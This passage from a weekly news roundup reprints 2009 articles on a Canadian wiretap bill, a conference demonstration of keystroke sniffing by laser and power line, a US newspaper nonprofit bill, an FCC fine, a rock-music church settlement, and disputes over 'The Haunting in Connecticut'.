the battle against crime," she told CBC News Tuesday. This past winter, Jennings re-tabled a 2005 Liberal bill that would force wireless service providers to make their devices intercept-ready. The bill, the Modernization of Investigative Techniques Act (MITA), had died when the 2006 election was called, but Jennings had re-introduced it as a private member's bill once before, in 2007. At the time, she said Canadian telecommunications companies had expressed concerns about the cost of the technology to make their devices tappable, but suggested the government could discuss the possibility of subsidizing that cost. Police must make their case: researcher University of Ottawa law professor Michael Geist said the cost of the technology is not the only problem with such a bill — it could possibly hurt an industry whose legitimate customers also rely on mobile devices. "There's obviously many businesses that are willing to use these devices because they're comfortable with the security attached to them," said Geist, who holds a Canada Research Chair of internet and e-commerce law. "Many individuals, as well, I think, would be reluctant to use mobile email devices if there was concern that third parties might be able to access it." Geist said there needs to be a balance between people's right to privacy and security and law enforcement's investigative needs. Law enforcement has been demanding faster, quicker access to certain types of information, often without court involvement. But so far, he says, police have been unable to make a compelling case that any of their investigations have been impeded by a lack of quick access to certain information or communications. "The starting point to striking the balance is law enforcement making the case that there is a problem today." In February, Public Safety Minister Peter Van Loan told the House of Commons public safety and national security committee that Canada needs to update its wiretapping laws. Such a law is expected to require law enforcement officials to obtain a warrant before they can force internet service providers to give up customer information. In 2007, former public safety minister Stockwell Day made a promise to include that requirement. http://www.cbc.ca/technology/story/2...y-wiretap.html Sniffing Keystrokes Via Laser and Keyboard Power Elinor Mills Presenters at the CanSecWest security conference detailed on Thursday how they can sniff data by analyzing keystroke vibrations using a laser trained on a shiny laptop or through electrical signals coming from a PC connected to a PS/2 keyboard and plugged into a socket. Using equipment costing about $80, researchers from Inverse Path were able to point a laser on the reflective surface of a laptop between 50 feet and 100 feet away and determine what letters were typed. Chief Security Engineer Andrea Barisani and hardware hacker Daniele Bianco used a handmade laser microphone device and a photo diode to measure the vibrations, software for analyzing the spectrograms of frequencies from different keystrokes, as well as technology to apply the data to a dictionary to try to guess the words. They used a technique called dynamic time warping that's typically used for speech recognition applications, to measure the similarity of signals. Line-of-sight on the laptop is needed, but it works through a glass window, they said. Using an infrared laser would prevent a victim from knowing they were being spied on. The only real way to mitigate against this type of spying would be to change your typing position and mistype words, Barisani said. In the second attack method, the researchers were able to spy on the keystrokes of a computer which was using a PS/2 keyboard through a ground line from a power plug in an outlet 50 feet away. "Information leaks to the electric grid," said Barisani. "It can be detected on the power plug, including nearby ones sharing the same electric line" as the victim's computer. The researchers used a digital oscilloscope and analog-digital converter, as well as filtering technology to isolate the victim's keystroke pulses from other noise on the power line. Their initial test, which took about five days to prepare and perform, enabled them to record individual keystrokes but not continuous data such as words and sentences, though they expect to be able to do that within a few months, Barisani said. In addition to being used to sniff a neighbor's keystrokes in a nearby room, the attack could be used to sniff data from ATM machines that use PS/2 or similar keypads, Barsani said. The attack does not work against laptops or USB keyboards, he said. The attacks are similar to other recent research that involves sniffing keystrokes through a wireless antenna. And of course there is the big daddy of these types of remote sniffing attacks, TEMPEST, which allows someone with a lot of expensive equipment to sniff the electromagnetic radiation emanating from a video display. The new attacks are easier and can be accomplished at lower cost, the researchers said. http://news.zdnet.com/2100-9595_22-280184.html U.S. Bill Seeks to Rescue Faltering Newspapers Thomas Ferraro With many U.S. newspapers struggling to survive, a Democratic senator on Tuesday introduced a bill to help them by allowing newspaper companies to restructure as nonprofits with a variety of tax breaks. "This may not be the optimal choice for some major newspapers or corporate media chains but it should be an option for many newspapers that are struggling to stay afloat," said Senator Benjamin Cardin. A Cardin spokesman said the bill had yet to attract any co-sponsors, but had sparked plenty of interest within the media, which has seen plunging revenues and many journalist layoffs. Cardin's Newspaper Revitalization Act would allow newspapers to operate as nonprofits for educational purposes under the U.S. tax code, giving them a similar status to public broadcasting companies. Under this arrangement, newspapers would still be free to report on all issues, including political campaigns. But they would be prohibited from making political endorsements. Advertising and subscription revenue would be tax exempt, and contributions to support news coverage or operations could be tax deductible. Because newspaper profits have been falling in recent years, "no substantial loss of federal revenue" was expected under the legislation, Cardin's office said in a statement. Cardin's office said his bill was aimed at preserving local and community newspapers, not conglomerates which may also own radio and TV stations. His bill would also let a non-profit buy newspapers owned by a conglomerate. "We are losing our newspaper industry," Cardin said. "The economy has caused an immediate problem, but the business model for newspapers, based on circulation and advertising revenue, is broken, and that is a real tragedy for communities across the nation and for our democracy. Newspaper subscriptions and advertising have shrunk dramatically in the past few years as Americans have turned more and more to the Internet or television for information. In recent months, the Seattle Post-Intelligencer, the Rocky Mountain News, the Baltimore Examiner and the San Francisco Chronicle have ceased daily publication or announced that they may have to stop publishing. In December the Tribune Company, which owns a number of newspapers including The Baltimore Sun, The Chicago Tribune and The Los Angeles Times filed for bankruptcy protection. Two newspaper chains, Gannett Co Inc and Advance Publications, on Monday announced employee furloughs. It will be the second furlough this year at Gannett. (Additional reporting by Chuck Abbott) (Editing by David Storey) http://www.reuters.com/article/polit...0090324?rpc=64 Newspapers On PCs!? GTFO! Jack I have seen the future. It will arrive via a red telephone. http://www.youtube.com/watch?v=5WCTn4FljUQ FCC Cracks Down On Underwriting "Ads" FMQB The FCC is giving a hefty fine to a Texas non-comm station for violating the rules against airing advertisements. The $20,000 fine was levied against educational broadcaster KXPW/Georgetown because the FCC said the station had aired prohibited underwriting announcements and that the violations were "willful and repeated." The case involves eight announcements that aired in 2003 and 2004. The commission issued a Notice of Apparent Liability for Forfeiture (NAL) stating, "We conclude that they appear to constitute prohibited advertisements because they invite or urge business patronage, distinguish favorably the respective underwriters from their competitors by stating or implying that they offer superior service, products or price, and describe their underwriters through comparative and qualitative references made either directly or by customer testimonials." KXPW claimed that the announcements were revised twice in an attempt to conform to the rules, but their cause was also hurt by the length of the announcements. Some of them exceeded 30 seconds. "Although the commission has not imposed quantitative limits on the length of underwriting announcements, it has found that the longer the announcements, the more likely they are to contain material, as here, that is inconsistent with the 'identification only' purpose of such announcements," the FCC wrote. The commission made sure to send a loud and clear message to other non-comm broadcasters in its ruling by saying, "We further caution [Power Radio Corporation] and all non-commercial educational licensees that, in future cases, violations of the type encountered here may result in even harsher sanctions than we propose in this case. Licensees have an ongoing duty to understand and carefully abide by the limitations in the Act and in our rules on advertising on noncommercial stations. The multiple, longstanding and blatant nature of the violations here reflect an unacceptable disregard for that duty and we intend to deter such behavior in the future by appropriate necessary means, including substantially higher forfeitures." http://fmqb.com/article.asp?id=1228609 Rock Music Church in Pennsylvania Allowed Concerts Under Court Settlement Wikinews A Pennsylvania church that claims to worship through rock music may hold a limited number of concerts under a recent federal court settlement. In the face of complaints from neighbors about noise and traffic problems, the Fayette County zoning department found in 2005 that the Church of Universal Love and Music was operating a music business instead of a church and must shut down. William Pritts, founder of the Bullskin Township church, sued in 2006 under the Religious Land Use and Institutionalized Persons Act, claiming the ruling infringed on his right to religious freedom. A 12-page court settlement filed in a Pittsburgh federal court allows Pritts to hold six concerts on Friday-through-Sunday weekends, and six additional events on six other Saturdays. However, the music must end by 11:00 p.m. local time on Fridays and Saturdays and 9:00 p.m. on Sundays. "The church is very much looking forward to a long future of providing services to the community," Gregory Koerner, Pritts' attorney, told The Herald-Standard. Koerner said events are already planned for May and June 2009. Under the settlement the church must keep sound from the concerts below the ambient sound level at the property line. The agreement also prohibits the illegal use of drugs and alcohol, and nudity is also not allowed. Pritts will have to also hire an independent security staff to oversee the safety at the concerts and he will not be allowed to have any more than 600 automobiles parked on or near the property during the events. The Church of Universal Love and Music gained national attend when a segment about its dispute with the county was featured on Comedy Central's The Daily Show in 2003. During the segment, Pritts said, "God never said you can't party on." The dispute started in 2001, when Pritts filed for a zoning exception to hold concerts at the Bullskin Township site. At the time, he was building an amphitheater stage, not a church, and neighbors and county officials grew concerned when Pritts said the concerts could attract up to 4,000 people, many of whom camp out overnight at the site. Concert attendance totals will have to be limited per the settlement, to no more than 1,500 people per event. Fayette County officials said he only formed the church so he could charge admission under the guise of a "donation" after the county rejected his plans. Koerner insisted Pritts' religious convictions are sincere. The county has been ordered to pay Pritts legal fees which total US$75,000. http://en.wikinews.org/wiki/Rock_mus... rt_settlement 'Haunting In Connecticut' Should Be Titled 'Hogwash In Connecticut,' Homeowner Says Jesse Leavenworth Soon after moving to Southington in 1987, Carmen Reed and her family learned that their new home had been a funeral parlor. That would become a key element in the subsequent horror story that Reed says her family endured — a tale that has evolved from newspaper articles to a book, TV documentary and now a feature film that debuts in theaters nationwide today. "The Haunting in Connecticut" has the same outline as several other horror films: A family moves into a new home, not realizing it once served as a mortuary. Strange sounds and sights escalate into an all-out other-worldly attack until the family is forced to call in demon hunters and an exorcist to root out the malicious entities. But that's just bunk, fiction and Hollywood foolishness, says the family that lives in the house now, along with the man who rented the place to Reed's family, and even the author of the first book about the case. "Our house is great. We love our house," says Susan Trotta-Smith, who has lived in the home with her husband and children for the past 10 years. "Nothing strange ever happened here." Reed, who was married to Allen Snedecker at the time, says she didn't believe in such forces either when the couple and their four children moved to Southington so they could be close to John Dempsey Hospital in Farmington, where their 13-year-old son was being treated for cancer. "I believed in God, and I believed that the devil was a voice in your head, but it couldn't physically knock you around," Reed says during a recent interview. "I didn't believe that houses could be haunted." Even after her children and the two nieces who moved in with the family began telling her about voices, weird sights, sudden chills and rotten smells, Reed says she wasn't convinced. Then one night one of her teenage nieces knocked on Reed's bedroom door and said, "It's happening again. ... It's coming, Aunt Carmen; can you feel it?" Reed says she felt "an energy," then she saw the outline of a hand moving inside the long nightshirt her niece was wearing. Reed said she clearly saw the knuckles in the hand creeping up toward one of the girl's breasts. Suddenly, the hand flew out of the girl's nightshirt, followed by "a hideous laugh," Reed says. Convinced that forces beyond her understanding were at work, Reed says she called in Connecticut's own paranormal investigators, Ed and Lorraine Warren. To confirm and document the demonic infestation, the Warrens assembled a team headed by their nephew, John Zaffis. Zaffis says he spent 9 1/2 weeks living in the house in the summer of 1988. He had to take a three-day break, however, after seeing "an entity" descending a staircase. Asked if the figure was human, Zaffis says he could only describe it as "transparent, murky ... The stupid thing stunk like hell. "It scared the crap out of me," he says. Eventually, a Catholic priest, whom they would not name, exorcised the dark entities, Reed and Zaffis say. A representative of the Hartford Archdiocese told The Courant in 1992 that no authorized exorcism occurred at the house. Holes In The Story Horror and science-fiction author Ray Garton heard about the case from his agent. He met with the Warrens and the Snedeckers after they had moved out of the Southington house in 1988. Garton began to assemble the story but says he soon found that the pieces didn't fit. Snedecker family members were telling different, conflicting stories, Garton says. Also, the Warrens had said they had a videotape of paranormal activity inside the house, but they were never able to produce it, Garton says. He says he couldn't get into the house himself because the people who had moved in after the Snedeckers "wanted nothing to do with this nonsense." Garton says he approached Ed Warren about his difficulty in writing a nonfiction account of what supposedly happened. Warren, who has since died, told him to use what he could from interviews "and make the rest up," as long as it was scary, Garton says. Nevertheless, the resulting book, "In a Dark Place," would be billed by the publisher as "The most terrifying true case of demonic possession ever recorded!" "My husband would never in 10 million years say that," Lorraine Warren said. "My husband was a man of honor." Warren also said that she has no doubt that paranormal activity occurred at the house. Peter Cornwell, director of "The Haunting in Connecticut," says he did not read Garton's book. The film, Cornwell says, was based, in part, on a Discovery Channel show similarly titled "A Haunting in Connecticut." Andrew Trapani, the feature film's producer, saw the TV show in 2003 and was "riveted," according to the film's production notes. Trapani and another producer spoke with Reed and decided that "her story was unprecedented and demanded to be told," according to the notes. Cornwell — whose filmmaking career was launched in 2003 with the award-winning animated short "Ward 13" — says two of his favorite horror movies are "The Exorcist" and "The Shining." "What I like about them is how the real-world part of the film helps sell the supernatural part of it," Cornwell says. "That's what we're aiming for in this film." Zaffis and Reed intend to release a new book about the case this summer to tell the true story of what happened, Zaffis says. Allen Snedecker could not be reached for comment. But the former owner of the Southington home, Darrell Kern, says the only truth in the tale is that the house, in fact, had served for decades as the Hallahan Funeral Home; that he bought it in the 1980s, planning to use it as a real estate office, but town officials would not allow that use; that he converted the house into a two-family and rented the first floor to the Snedeckers in 1987. The rest of the story — ghosts and demons, etc.? It's pure hokum, Kern says. A woman who lived in the other half of the house while the Snedeckers were there never reported anything out of the ordinary, and others who lived there afterward reported no demonic activity either, Kern says. The real trouble started with the publicity about the alleged haunting, Kern says. He couldn't get anyone to rent the place for months after the Snedeckers left [owing him rent], and he had to field lots of calls from "strange people" who wanted to spend a night there, Kern says. Just recently, as word about the new feature film spread, more people have been driving by the house at all hours, Trotta-Smith says. She had to call the police after seeing one man skulking around the property recently, she says. "I was haunted," Kern says. "The neighborhood was haunted by the Snedeckers. That's the real haunting in Connecticut." http://www.courant.com/entertainment...,4287887.story 'Haunted House' in Southington was Once Congressman Murphy's Home Peter Urban  Although he claims to just hate, hate horror flicks, Rep. Chris Murphy is anxious to see "The Haunting in Connecticut" that opens Friday. The spooky house, you see, was once his home. "I lived there from December 1996 until the summer of 1998," Murphy confessed Wednesday. The movie, which stars Virginia Madsen, is based on what the film promoter claims is "a chilling true story" that charts one family's terrifying, real-life encounter with the dark forces of the supernatural. In 1987, a family moved into a long-empty house on Meriden Avenue in Southington that had been a funeral home dating back to the 1920s and almost immediately began experiencing "strange sounds, changes in temperature, and the appearance of mysterious figures." With the help of famed demonologists, Ed and Lorraine Warren of Monroe, the family uncovered the terrible secrets lurking in the house and confronted, according to the movie promoter, "the most shocking evil spirits ever seen in an American haunting." Years later, fresh out of Williams College, Murphy moved into a second-floor apartment in that very house with two childhood friends -- unaware of its haunted past. They'd found the apartment through a newspaper advertisement. "The rent was pretty cheap and it was gorgeous. There were hardwood floors and lots of space," Murphy recalled. The trio thought nothing of the two large stone pillars in the front yard or the massive parking lot out back but soon found out the building was once a funeral home. "A plumber came by the second day we were there and was looking around and saying 'Wow, I've never been in the haunted house before,'" he said. "We were floored but I don't think any of us were predisposed to believe the story," Murphy said. "None of us looked too hard for the ghosts." Indeed, Murphy said that the second floor had always been an apartment even when the funeral home operated out of the first floor and basement. They also heard from a previous tenant who claimed the ghost story was fiction and made up by the family as a ruse to get out of paying rent they owed. "We loved that apartment. It was beautiful and the landlord was very nice. I've got nothing but good things to say about 208 Meriden Ave.," Murphy said. "I am a ghost skeptic. And, if I wasn't before living in that house I am now." His housemates -- Darren Coyle and Rob Herron, who have since moved out of state -- did have one minor scare. They went to New Haven to listen to a talk given by the Warrens and asked them about the Southington house. "The only advice they gave was that we should get out of the house immediately. That's the only thing that spooked us," Murphy said. Murphy has already watched the movie trailer and expects that the film will take great liberties with reality. "The movie departs from the actual story pretty quickly," he said. "The house in the movie looks nothing like the real house." Still, Murphy plans to buy a ticket. "I hate horror movies but I feel an obligation to go see this movie," he said. http://www.newstimes.com/ci_11996251 Until next week, - js. Current Week In Review  Recent WiRs - March 21st, March 14th, March 7th, February 28th Jack Spratts' Week In Review is published every Friday. Submit letters, articles, press releases, comments, questions etc. in plain text English to jackspratts (at) lycos (dot) com. Submission deadlines are Thursdays @ 1400 UTC. Please include contact info. The right to publish all remarks is reserved. "The First Amendment rests on the assumption that the widest possible dissemination of information from diverse and antagonistic sources is essential to the welfare of the public." - Hugo Black |
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